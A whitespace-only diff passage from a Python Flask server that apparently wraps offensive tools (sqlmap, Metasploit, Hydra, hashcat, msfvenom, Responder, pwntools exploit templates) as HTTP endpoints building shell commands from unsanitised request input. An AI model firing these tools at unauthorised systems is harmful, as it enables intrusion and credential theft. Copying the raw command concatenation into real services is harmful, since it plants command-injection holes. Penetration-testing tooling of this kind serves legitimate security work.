--skip-check {skip_check}" - + if output_format: command += f" --output {output_format}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting Checkov IaC scan: {directory}") result = execute_command(command) logger.info(f"๐Ÿ“Š Checkov scan completed") @@ -9062,21 +9062,21 @@ def terrascan(): output_format = params.get("output_format", "json") severity = params.get("severity", "") additional_args = params.get("additional_args", "") - + command = f"terrascan scan -t {scan_type} -d {iac_dir}" - + if policy_type: command += f" -p {policy_type}" - + if output_format: command += f" -o {output_format}" - + if severity: command += f" --severity {severity}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting Terrascan IaC scan: {iac_dir}") result = execute_command(command) logger.info(f"๐Ÿ“Š Terrascan scan completed") @@ -9093,18 +9093,18 @@ def dirb(): url = params.get("url", "") wordlist = params.get("wordlist", "/usr/share/wordlists/dirb/common.txt") additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐ŸŒ Dirb called without URL parameter") return jsonify({ "error": "URL parameter is required" }), 400 - + command = f"dirb {url} {wordlist}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ“ Starting Dirb scan: {url}") result = execute_command(command) logger.info(f"๐Ÿ“Š Dirb scan completed for {url}") @@ -9122,18 +9122,18 @@ def nikto(): params = request.json target = params.get("target", "") additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŽฏ Nikto called without target parameter") return jsonify({ "error": "Target parameter is required" }), 400 - + command = f"nikto -h {target}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”ฌ Starting Nikto scan: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š Nikto scan completed for {target}") @@ -9152,21 +9152,21 @@ def sqlmap(): url = params.get("url", "") data = params.get("data", "") additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐ŸŽฏ SQLMap called without URL parameter") return jsonify({ "error": "URL parameter is required" }), 400 - + command = f"sqlmap -u {url} --batch" - + if data: command += f" --data=\"{data}\"" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ’‰ Starting SQLMap scan: {url}") result = execute_command(command) logger.info(f"๐Ÿ“Š SQLMap scan completed for {url}") @@ -9184,35 +9184,35 @@ def metasploit(): params = request.json module = params.get("module", "") options = params.get("options", {}) - + if not module: logger.warning("๐Ÿš€ Metasploit called without module parameter") return jsonify({ "error": "Module parameter is required" }), 400 - + # Create an MSF resource script resource_content = f"use {module}\n" for key, value in options.items(): resource_content += f"set {key} {value}\n" resource_content += "exploit\n" - + # Save resource script to a temporary file resource_file = "/tmp/mcp_msf_resource.rc" with open(resource_file, "w") as f: f.write(resource_content) - + command = f"msfconsole -q -r {resource_file}" - + logger.info(f"๐Ÿš€ Starting Metasploit module: {module}") result = execute_command(command) - + # Clean up the temporary file try: os.remove(resource_file) except Exception as e: logger.warning(f"Error removing temporary resource file: {str(e)}") - + logger.info(f"๐Ÿ“Š Metasploit module completed: {module}") return jsonify(result) except Exception as e: @@ -9233,36 +9233,36 @@ def hydra(): password = params.get("password", "") password_file = params.get("password_file", "") additional_args = params.get("additional_args", "") - + if not target or not service: logger.warning("๐ŸŽฏ Hydra called without target or service parameter") return jsonify({ "error": "Target and service parameters are required" }), 400 - + if not (username or username_file) or not (password or password_file): logger.warning("๐Ÿ”‘ Hydra called without username/password parameters") return jsonify({ "error": "Username/username_file and password/password_file are required" }), 400 - + command = f"hydra -t 4" - + if username: command += f" -l {username}" elif username_file: command += f" -L {username_file}" - + if password: command += f" -p {password}" elif password_file: command += f" -P {password_file}" - + if additional_args: command += f" {additional_args}" - + command += f" {target} {service}" - + logger.info(f"๐Ÿ”‘ Starting Hydra attack: {target}:{service}") result = execute_command(command) logger.info(f"๐Ÿ“Š Hydra attack completed for {target}") @@ -9282,26 +9282,26 @@ def john(): wordlist = params.get("wordlist", "/usr/share/wordlists/rockyou.txt") format_type = params.get("format", "") additional_args = params.get("additional_args", "") - + if not hash_file: logger.warning("๐Ÿ” John called without hash_file parameter") return jsonify({ "error": "Hash file parameter is required" }), 400 - + command = f"john" - + if format_type: command += f" --format={format_type}" - + if wordlist: command += f" --wordlist={wordlist}" - + if additional_args: command += f" {additional_args}" - + command += f" {hash_file}" - + logger.info(f"๐Ÿ” Starting John the Ripper: {hash_file}") result = execute_command(command) logger.info(f"๐Ÿ“Š John the Ripper completed") @@ -9319,18 +9319,18 @@ def wpscan(): params = request.json url = params.get("url", "") additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐ŸŒ WPScan called without URL parameter") return jsonify({ "error": "URL parameter is required" }), 400 - + command = f"wpscan --url {url}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting WPScan: {url}") result = execute_command(command) logger.info(f"๐Ÿ“Š WPScan completed for {url}") @@ -9348,15 +9348,15 @@ def enum4linux(): params = request.json target = params.get("target", "") additional_args = params.get("additional_args", "-a") - + if not target: logger.warning("๐ŸŽฏ Enum4linux called without target parameter") return jsonify({ "error": "Target parameter is required" }), 400 - + command = f"enum4linux {additional_args} {target}" - + logger.info(f"๐Ÿ” Starting Enum4linux: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š Enum4linux completed for {target}") @@ -9377,15 +9377,15 @@ def ffuf(): mode = params.get("mode", "directory") match_codes = params.get("match_codes", "200,204,301,302,307,401,403") additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐ŸŒ FFuf called without URL parameter") return jsonify({ "error": "URL parameter is required" }), 400 - + command = f"ffuf" - + if mode == "directory": command += f" -u {url}/FUZZ -w {wordlist}" elif mode == "vhost": @@ -9394,12 +9394,12 @@ def ffuf(): command += f" -u {url}?FUZZ=value -w {wordlist}" else: command += f" -u {url} -w {wordlist}" - + command += f" -mc {match_codes}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting FFuf {mode} fuzzing: {url}") result = execute_command(command) logger.info(f"๐Ÿ“Š FFuf fuzzing completed for {url}") @@ -9422,30 +9422,30 @@ def netexec(): hash_value = params.get("hash", "") module = params.get("module", "") additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŽฏ NetExec called without target parameter") return jsonify({ "error": "Target parameter is required" }), 400 - + command = f"nxc {protocol} {target}" - + if username: command += f" -u {username}" - + if password: command += f" -p {password}" - + if hash_value: command += f" -H {hash_value}" - + if module: command += f" -M {module}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting NetExec {protocol} scan: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š NetExec scan completed for {target}") @@ -9464,23 +9464,23 @@ def amass(): domain = params.get("domain", "") mode = params.get("mode", "enum") additional_args = params.get("additional_args", "") - + if not domain: logger.warning("๐ŸŒ Amass called without domain parameter") return jsonify({ "error": "Domain parameter is required" }), 400 - + command = f"amass {mode}" - + if mode == "enum": command += f" -d {domain}" else: command += f" -d {domain}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting Amass {mode}: {domain}") result = execute_command(command) logger.info(f"๐Ÿ“Š Amass completed for {domain}") @@ -9502,29 +9502,29 @@ def hashcat(): wordlist = params.get("wordlist", "/usr/share/wordlists/rockyou.txt") mask = params.get("mask", "") additional_args = params.get("additional_args", "") - + if not hash_file: logger.warning("๐Ÿ” Hashcat called without hash_file parameter") return jsonify({ "error": "Hash file parameter is required" }), 400 - + if not hash_type: logger.warning("๐Ÿ” Hashcat called without hash_type parameter") return jsonify({ "error": "Hash type parameter is required" }), 400 - + command = f"hashcat -m {hash_type} -a {attack_mode} {hash_file}" - + if attack_mode == "0" and wordlist: command += f" {wordlist}" elif attack_mode == "3" and mask: command += f" {mask}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting Hashcat attack: mode {attack_mode}") result = execute_command(command) logger.info(f"๐Ÿ“Š Hashcat attack completed") @@ -9544,24 +9544,24 @@ def subfinder(): silent = params.get("silent", True) all_sources = params.get("all_sources", False) additional_args = params.get("additional_args", "") - + if not domain: logger.warning("๐ŸŒ Subfinder called without domain parameter") return jsonify({ "error": "Domain parameter is required" }), 400 - + command = f"subfinder -d {domain}" - + if silent: command += " -silent" - + if all_sources: command += " -all" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting Subfinder: {domain}") result = execute_command(command) logger.info(f"๐Ÿ“Š Subfinder completed for {domain}") @@ -9582,27 +9582,27 @@ def smbmap(): password = params.get("password", "") domain = params.get("domain", "") additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŽฏ SMBMap called without target parameter") return jsonify({ "error": "Target parameter is required" }), 400 - + command = f"smbmap -H {target}" - + if username: command += f" -u {username}" - + if password: command += f" -p {password}" - + if domain: command += f" -d {domain}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting SMBMap: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š SMBMap completed for {target}") @@ -9629,22 +9629,22 @@ def rustscan(): timeout = params.get("timeout", 1500) scripts = params.get("scripts", "") additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŽฏ Rustscan called without target parameter") return jsonify({"error": "Target parameter is required"}), 400 - + command = f"rustscan -a {target} --ulimit {ulimit} -b {batch_size} -t {timeout}" - + if ports: command += f" -p {ports}" - + if scripts: command += f" -- -sC -sV" - + if additional_args: command += f" {additional_args}" - + logger.info(f"โšก Starting Rustscan: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š Rustscan completed for {target}") @@ -9666,28 +9666,28 @@ def masscan(): source_ip = params.get("source_ip", "") banners = params.get("banners", False) additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŽฏ Masscan called without target parameter") return jsonify({"error": "Target parameter is required"}), 400 - + command = f"masscan {target} -p{ports} --rate={rate}" - + if interface: command += f" -e {interface}" - + if router_mac: command += f" --router-mac {router_mac}" - + if source_ip: command += f" --source-ip {source_ip}" - + if banners: command += " --banners" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿš€ Starting Masscan: {target} at rate {rate}") result = execute_command(command) logger.info(f"๐Ÿ“Š Masscan completed for {target}") @@ -9711,38 +9711,38 @@ def nmap_advanced(): aggressive = params.get("aggressive", False) stealth = params.get("stealth", False) additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŽฏ Advanced Nmap called without target parameter") return jsonify({"error": "Target parameter is required"}), 400 - + command = f"nmap {scan_type} {target}" - + if ports: command += f" -p {ports}" - + if stealth: command += " -T2 -f --mtu 24" else: command += f" -{timing}" - + if os_detection: command += " -O" - + if version_detection: command += " -sV" - + if aggressive: command += " -A" - + if nse_scripts: command += f" --script={nse_scripts}" elif not aggressive: # Default useful scripts if not aggressive command += " --script=default,discovery,safe" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting Advanced Nmap: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š Advanced Nmap completed for {target}") @@ -9763,22 +9763,22 @@ def autorecon(): heartbeat = params.get("heartbeat", 60) timeout = params.get("timeout", 300) additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŽฏ AutoRecon called without target parameter") return jsonify({"error": "Target parameter is required"}), 400 - + command = f"autorecon {target} -o {output_dir} --heartbeat {heartbeat} --timeout {timeout}" - + if port_scans != "default": command += f" --port-scans {port_scans}" - + if service_scans != "default": command += f" --service-scans {service_scans}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”„ Starting AutoRecon: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š AutoRecon completed for {target}") @@ -9801,22 +9801,22 @@ def enum4linux_ng(): groups = params.get("groups", True) policy = params.get("policy", True) additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŽฏ Enum4linux-ng called without target parameter") return jsonify({"error": "Target parameter is required"}), 400 - + command = f"enum4linux-ng {target}" - + if username: command += f" -u {username}" - + if password: command += f" -p {password}" - + if domain: command += f" -d {domain}" - + # Add specific enumeration options enum_options = [] if shares: @@ -9827,13 +9827,13 @@ def enum4linux_ng(): enum_options.append("G") if policy: enum_options.append("P") - + if enum_options: command += f" -A {','.join(enum_options)}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting Enum4linux-ng: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š Enum4linux-ng completed for {target}") @@ -9853,11 +9853,11 @@ def rpcclient(): domain = params.get("domain", "") commands = params.get("commands", "enumdomusers;enumdomgroups;querydominfo") additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŽฏ rpcclient called without target parameter") return jsonify({"error": "Target parameter is required"}), 400 - + # Build authentication string auth_string = "" if username and password: @@ -9866,18 +9866,18 @@ def rpcclient(): auth_string = f"-U {username}" else: auth_string = "-U ''" # Anonymous - + if domain: auth_string += f" -W {domain}" - + # Create command sequence command_sequence = commands.replace(";", "\n") - + command = f"echo -e '{command_sequence}' | rpcclient {auth_string} {target}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting rpcclient: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š rpcclient completed for {target}") @@ -9895,21 +9895,21 @@ def nbtscan(): verbose = params.get("verbose", False) timeout = params.get("timeout", 2) additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŽฏ nbtscan called without target parameter") return jsonify({"error": "Target parameter is required"}), 400 - + command = f"nbtscan -t {timeout}" - + if verbose: command += " -v" - + command += f" {target}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting nbtscan: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š nbtscan completed for {target}") @@ -9929,24 +9929,24 @@ def arp_scan(): timeout = params.get("timeout", 500) retry = params.get("retry", 3) additional_args = params.get("additional_args", "") - + if not target and not local_network: logger.warning("๐ŸŽฏ arp-scan called without target parameter") return jsonify({"error": "Target parameter or local_network flag is required"}), 400 - + command = f"arp-scan -t {timeout} -r {retry}" - + if interface: command += f" -I {interface}" - + if local_network: command += " -l" else: command += f" {target}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting arp-scan: {target if target else 'local network'}") result = execute_command(command) logger.info(f"๐Ÿ“Š arp-scan completed") @@ -9967,28 +9967,28 @@ def responder(): fingerprint = params.get("fingerprint", False) duration = params.get("duration", 300) # 5 minutes default additional_args = params.get("additional_args", "") - + if not interface: logger.warning("๐ŸŽฏ Responder called without interface parameter") return jsonify({"error": "Interface parameter is required"}), 400 - + command = f"timeout {duration} responder -I {interface}" - + if analyze: command += " -A" - + if wpad: command += " -w" - + if force_wpad_auth: command += " -F" - + if fingerprint: command += " -f" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting Responder on interface: {interface}") result = execute_command(command) logger.info(f"๐Ÿ“Š Responder completed") @@ -10006,29 +10006,29 @@ def volatility(): plugin = params.get("plugin", "") profile = params.get("profile", "") additional_args = params.get("additional_args", "") - + if not memory_file: logger.warning("๐Ÿง  Volatility called without memory_file parameter") return jsonify({ "error": "Memory file parameter is required" }), 400 - + if not plugin: logger.warning("๐Ÿง  Volatility called without plugin parameter") return jsonify({ "error": "Plugin parameter is required" }), 400 - + command = f"volatility -f {memory_file}" - + if profile: command += f" --profile={profile}" - + command += f" {plugin}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿง  Starting Volatility analysis: {plugin}") result = execute_command(command) logger.info(f"๐Ÿ“Š Volatility analysis completed") @@ -10050,30 +10050,30 @@ def msfvenom(): encoder = params.get("encoder", "") iterations = params.get("iterations", "") additional_args = params.get("additional_args", "") - + if not payload: logger.warning("๐Ÿš€ MSFVenom called without payload parameter") return jsonify({ "error": "Payload parameter is required" }), 400 - + command = f"msfvenom -p {payload}" - + if format_type: command += f" -f {format_type}" - + if output_file: command += f" -o {output_file}" - + if encoder: command += f" -e {encoder}" - + if iterations: command += f" -i {iterations}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿš€ Starting MSFVenom payload generation: {payload}") result = execute_command(command) logger.info(f"๐Ÿ“Š MSFVenom payload generated") @@ -10097,38 +10097,38 @@ def gdb(): commands = params.get("commands", "") script_file = params.get("script_file", "") additional_args = params.get("additional_args", "") - + if not binary: logger.warning("๐Ÿ”ง GDB called without binary parameter") return jsonify({ "error": "Binary parameter is required" }), 400 - + command = f"gdb {binary}" - + if script_file: command += f" -x {script_file}" - + if commands: temp_script = "/tmp/gdb_commands.txt" with open(temp_script, "w") as f: f.write(commands) command += f" -x {temp_script}" - + if additional_args: command += f" {additional_args}" - + command += " -batch" - + logger.info(f"๐Ÿ”ง Starting GDB analysis: {binary}") result = execute_command(command) - + if commands and os.path.exists("/tmp/gdb_commands.txt"): try: os.remove("/tmp/gdb_commands.txt") except: pass - + logger.info(f"๐Ÿ“Š GDB analysis completed for {binary}") return jsonify(result) except Exception as e: @@ -10145,13 +10145,13 @@ def radare2(): binary = params.get("binary", "") commands = params.get("commands", "") additional_args = params.get("additional_args", "") - + if not binary: logger.warning("๐Ÿ”ง Radare2 called without binary parameter") return jsonify({ "error": "Binary parameter is required" }), 400 - + if commands: temp_script = "/tmp/r2_commands.txt" with open(temp_script, "w") as f: @@ -10159,19 +10159,19 @@ def radare2(): command = f"r2 -i {temp_script} -q {binary}" else: command = f"r2 -q {binary}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”ง Starting Radare2 analysis: {binary}") result = execute_command(command) - + if commands and os.path.exists("/tmp/r2_commands.txt"): try: os.remove("/tmp/r2_commands.txt") except: pass - + logger.info(f"๐Ÿ“Š Radare2 analysis completed for {binary}") return jsonify(result) except Exception as e: @@ -10188,23 +10188,23 @@ def binwalk(): file_path = params.get("file_path", "") extract = params.get("extract", False) additional_args = params.get("additional_args", "") - + if not file_path: logger.warning("๐Ÿ”ง Binwalk called without file_path parameter") return jsonify({ "error": "File path parameter is required" }), 400 - + command = f"binwalk" - + if extract: command += " -e" - + if additional_args: command += f" {additional_args}" - + command += f" {file_path}" - + logger.info(f"๐Ÿ”ง Starting Binwalk analysis: {file_path}") result = execute_command(command) logger.info(f"๐Ÿ“Š Binwalk analysis completed for {file_path}") @@ -10223,21 +10223,21 @@ def ropgadget(): binary = params.get("binary", "") gadget_type = params.get("gadget_type", "") additional_args = params.get("additional_args", "") - + if not binary: logger.warning("๐Ÿ”ง ROPgadget called without binary parameter") return jsonify({ "error": "Binary parameter is required" }), 400 - + command = f"ROPgadget --binary {binary}" - + if gadget_type: command += f" --only '{gadget_type}'" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”ง Starting ROPgadget search: {binary}") result = execute_command(command) logger.info(f"๐Ÿ“Š ROPgadget search completed for {binary}") @@ -10254,15 +10254,15 @@ def checksec(): try: params = request.json binary = params.get("binary", "") - + if not binary: logger.warning("๐Ÿ”ง Checksec called without binary parameter") return jsonify({ "error": "Binary parameter is required" }), 400 - + command = f"checksec --file={binary}" - + logger.info(f"๐Ÿ”ง Starting Checksec analysis: {binary}") result = execute_command(command) logger.info(f"๐Ÿ“Š Checksec analysis completed for {binary}") @@ -10282,23 +10282,23 @@ def xxd(): offset = params.get("offset", "0") length = params.get("length", "") additional_args = params.get("additional_args", "") - + if not file_path: logger.warning("๐Ÿ”ง XXD called without file_path parameter") return jsonify({ "error": "File path parameter is required" }), 400 - + command = f"xxd -s {offset}" - + if length: command += f" -l {length}" - + if additional_args: command += f" {additional_args}" - + command += f" {file_path}" - + logger.info(f"๐Ÿ”ง Starting XXD hex dump: {file_path}") result = execute_command(command) logger.info(f"๐Ÿ“Š XXD hex dump completed for {file_path}") @@ -10317,20 +10317,20 @@ def strings(): file_path = params.get("file_path", "") min_len = params.get("min_len", 4) additional_args = params.get("additional_args", "") - + if not file_path: logger.warning("๐Ÿ”ง Strings called without file_path parameter") return jsonify({ "error": "File path parameter is required" }), 400 - + command = f"strings -n {min_len}" - + if additional_args: command += f" {additional_args}" - + command += f" {file_path}" - + logger.info(f"๐Ÿ”ง Starting Strings extraction: {file_path}") result = execute_command(command) logger.info(f"๐Ÿ“Š Strings extraction completed for {file_path}") @@ -10349,25 +10349,25 @@ def objdump(): binary = params.get("binary", "") disassemble = params.get("disassemble", True) additional_args = params.get("additional_args", "") - + if not binary: logger.warning("๐Ÿ”ง Objdump called without binary parameter") return jsonify({ "error": "Binary parameter is required" }), 400 - + command = f"objdump" - + if disassemble: command += " -d" else: command += " -x" - + if additional_args: command += f" {additional_args}" - + command += f" {binary}" - + logger.info(f"๐Ÿ”ง Starting Objdump analysis: {binary}") result = execute_command(command) logger.info(f"๐Ÿ“Š Objdump analysis completed for {binary}") @@ -10393,27 +10393,27 @@ def ghidra(): analysis_timeout = params.get("analysis_timeout", 300) output_format = params.get("output_format", "xml") additional_args = params.get("additional_args", "") - + if not binary: logger.warning("๐Ÿ”ง Ghidra called without binary parameter") return jsonify({"error": "Binary parameter is required"}), 400 - + # Create Ghidra project directory project_dir = f"/tmp/ghidra_projects/{project_name}" os.makedirs(project_dir, exist_ok=True) - + # Base Ghidra command for headless analysis command = f"analyzeHeadless {project_dir} {project_name} -import {binary} -deleteProject" - + if script_file: command += f" -postScript {script_file}" - + if output_format == "xml": command += f" -postScript ExportXml.java {project_dir}/analysis.xml" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”ง Starting Ghidra analysis: {binary}") result = execute_command(command, timeout=analysis_timeout) logger.info(f"๐Ÿ“Š Ghidra analysis completed for {binary}") @@ -10433,14 +10433,14 @@ def pwntools(): target_port = params.get("target_port", 0) exploit_type = params.get("exploit_type", "local") # local, remote, format_string, rop additional_args = params.get("additional_args", "") - + if not script_content and not target_binary: logger.warning("๐Ÿ”ง Pwntools called without script content or target binary") return jsonify({"error": "Script content or target binary is required"}), 400 - + # Create temporary Python script script_file = "/tmp/pwntools_exploit.py" - + if script_content: # Use provided script content with open(script_file, "w") as f: @@ -10476,21 +10476,21 @@ p.interactive() """ with open(script_file, "w") as f: f.write(template) - + command = f"python3 {script_file}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”ง Starting Pwntools exploit: {exploit_type}") result = execute_command(command) - + # Cleanup try: os.remove(script_file) except: pass - + logger.info(f"๐Ÿ“Š Pwntools exploit completed") return jsonify(result) except Exception as e: @@ -10505,16 +10505,16 @@ def one_gadget(): libc_path = params.get("libc_path", "") level = params.get("level", 1) # 0, 1, 2 for different constraint levels additional_args = params.get("additional_args", "") - + if not libc_path: logger.warning("๐Ÿ”ง one_gadget called without libc_path parameter") return jsonify({"error": "libc_path parameter is required"}), 400 - + command = f"one_gadget {libc_path} --level {level}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”ง Starting one_gadget analysis: {libc_path}") result = execute_command(command) logger.info(f"๐Ÿ“Š one_gadget analysis completed") @@ -10532,18 +10532,18 @@ def libc_database(): symbols = params.get("symbols", "") # format: "symbol1:offset1 symbol2:offset2" libc_id = params.get("libc_id", "") additional_args = params.get("additional_args", "") - + if action == "find" and not symbols: logger.warning("๐Ÿ”ง libc-database find called without symbols") return jsonify({"error": "Symbols parameter is required for find action"}), 400 - + if action in ["dump", "download"] and not libc_id: logger.warning("๐Ÿ”ง libc-database called without libc_id for dump/download") return jsonify({"error": "libc_id parameter is required for dump/download actions"}), 400 - + # Navigate to libc-database directory (assuming it's installed) base_command = "cd /opt/libc-database 2>/dev/null || cd ~/libc-database 2>/dev/null || echo 'libc-database not found'" - + if action == "find": command = f"{base_command} && ./find {symbols}" elif action == "dump": @@ -10552,10 +10552,10 @@ def libc_database(): command = f"{base_command} && ./download {libc_id}" else: return jsonify({"error": f"Invalid action: {action}"}), 400 - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”ง Starting libc-database {action}: {symbols or libc_id}") result = execute_command(command) logger.info(f"๐Ÿ“Š libc-database {action} completed") @@ -10574,23 +10574,23 @@ def gdb_peda(): attach_pid = params.get("attach_pid", 0) core_file = params.get("core_file", "") additional_args = params.get("additional_args", "") - + if not binary and not attach_pid and not core_file: logger.warning("๐Ÿ”ง GDB-PEDA called without binary, PID, or core file") return jsonify({"error": "Binary, PID, or core file parameter is required"}), 400 - + # Base GDB command with PEDA command = "gdb -q" - + if binary: command += f" {binary}" - + if core_file: command += f" {core_file}" - + if attach_pid: command += f" -p {attach_pid}" - + # Create command script if commands: temp_script = "/tmp/gdb_peda_commands.txt" @@ -10605,21 +10605,21 @@ quit else: # Default PEDA initialization command += " -ex 'source ~/peda/peda.py' -ex 'quit'" - + if additional_args: command += f" {additional_args}" - + target_info = binary or f'PID {attach_pid}' or core_file logger.info(f"๐Ÿ”ง Starting GDB-PEDA analysis: {target_info}") result = execute_command(command) - + # Cleanup if commands and os.path.exists("/tmp/gdb_peda_commands.txt"): try: os.remove("/tmp/gdb_peda_commands.txt") except: pass - + logger.info(f"๐Ÿ“Š GDB-PEDA analysis completed") return jsonify(result) except Exception as e: @@ -10637,14 +10637,14 @@ def angr(): avoid_addresses = params.get("avoid_addresses", "") analysis_type = params.get("analysis_type", "symbolic") # symbolic, cfg, static additional_args = params.get("additional_args", "") - + if not binary: logger.warning("๐Ÿ”ง angr called without binary parameter") return jsonify({"error": "Binary parameter is required"}), 400 - + # Create angr script script_file = "/tmp/angr_analysis.py" - + if script_content: with open(script_file, "w") as f: f.write(script_content) @@ -10693,24 +10693,24 @@ print(f"CFG edges: {len(cfg.graph.edges())}") for func_addr, func in cfg.functions.items(): print(f"Function: {func.name} at {hex(func_addr)}") """ - + with open(script_file, "w") as f: f.write(template) - + command = f"python3 {script_file}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”ง Starting angr analysis: {binary}") result = execute_command(command, timeout=600) # Longer timeout for symbolic execution - + # Cleanup try: os.remove(script_file) except: pass - + logger.info(f"๐Ÿ“Š angr analysis completed") return jsonify(result) except Exception as e: @@ -10728,13 +10728,13 @@ def ropper(): arch = params.get("arch", "") # x86, x86_64, arm, etc. search_string = params.get("search_string", "") additional_args = params.get("additional_args", "") - + if not binary: logger.warning("๐Ÿ”ง ropper called without binary parameter") return jsonify({"error": "Binary parameter is required"}), 400 - + command = f"ropper --file {binary}" - + if gadget_type == "rop": command += " --rop" elif gadget_type == "jop": @@ -10743,19 +10743,19 @@ def ropper(): command += " --sys" elif gadget_type == "all": command += " --all" - + if quality > 1: command += f" --quality {quality}" - + if arch: command += f" --arch {arch}" - + if search_string: command += f" --search '{search_string}'" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”ง Starting ropper analysis: {binary}") result = execute_command(command) logger.info(f"๐Ÿ“Š ropper analysis completed") @@ -10774,25 +10774,25 @@ def pwninit(): ld = params.get("ld", "") template_type = params.get("template_type", "python") # python, c additional_args = params.get("additional_args", "") - + if not binary: logger.warning("๐Ÿ”ง pwninit called without binary parameter") return jsonify({"error": "Binary parameter is required"}), 400 - + command = f"pwninit --bin {binary}" - + if libc: command += f" --libc {libc}" - + if ld: command += f" --ld {ld}" - + if template_type: command += f" --template {template_type}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”ง Starting pwninit setup: {binary}") result = execute_command(command) logger.info(f"๐Ÿ“Š pwninit setup completed") @@ -10814,18 +10814,18 @@ def feroxbuster(): wordlist = params.get("wordlist", "/usr/share/wordlists/dirb/common.txt") threads = params.get("threads", 10) additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐ŸŒ Feroxbuster called without URL parameter") return jsonify({ "error": "URL parameter is required" }), 400 - + command = f"feroxbuster -u {url} -w {wordlist} -t {threads}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting Feroxbuster scan: {url}") result = execute_command(command) logger.info(f"๐Ÿ“Š Feroxbuster scan completed for {url}") @@ -10844,20 +10844,20 @@ def dotdotpwn(): target = params.get("target", "") module = params.get("module", "http") additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŽฏ DotDotPwn called without target parameter") return jsonify({ "error": "Target parameter is required" }), 400 - + command = f"dotdotpwn -m {module} -h {target}" - + if additional_args: command += f" {additional_args}" - + command += " -b" - + logger.info(f"๐Ÿ” Starting DotDotPwn scan: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š DotDotPwn scan completed for {target}") @@ -10876,21 +10876,21 @@ def xsser(): url = params.get("url", "") params_str = params.get("params", "") additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐ŸŒ XSSer called without URL parameter") return jsonify({ "error": "URL parameter is required" }), 400 - + command = f"xsser --url '{url}'" - + if params_str: command += f" --param='{params_str}'" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting XSSer scan: {url}") result = execute_command(command) logger.info(f"๐Ÿ“Š XSSer scan completed for {url}") @@ -10909,18 +10909,18 @@ def wfuzz(): url = params.get("url", "") wordlist = params.get("wordlist", "/usr/share/wordlists/dirb/common.txt") additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐ŸŒ Wfuzz called without URL parameter") return jsonify({ "error": "URL parameter is required" }), 400 - + command = f"wfuzz -w {wordlist} '{url}'" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting Wfuzz scan: {url}") result = execute_command(command) logger.info(f"๐Ÿ“Š Wfuzz scan completed for {url}") @@ -10946,19 +10946,19 @@ def dirsearch(): threads = params.get("threads", 30) recursive = params.get("recursive", False) additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐ŸŒ Dirsearch called without URL parameter") return jsonify({"error": "URL parameter is required"}), 400 - + command = f"dirsearch -u {url} -e {extensions} -w {wordlist} -t {threads}" - + if recursive: command += " -r" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ“ Starting Dirsearch scan: {url}") result = execute_command(command) 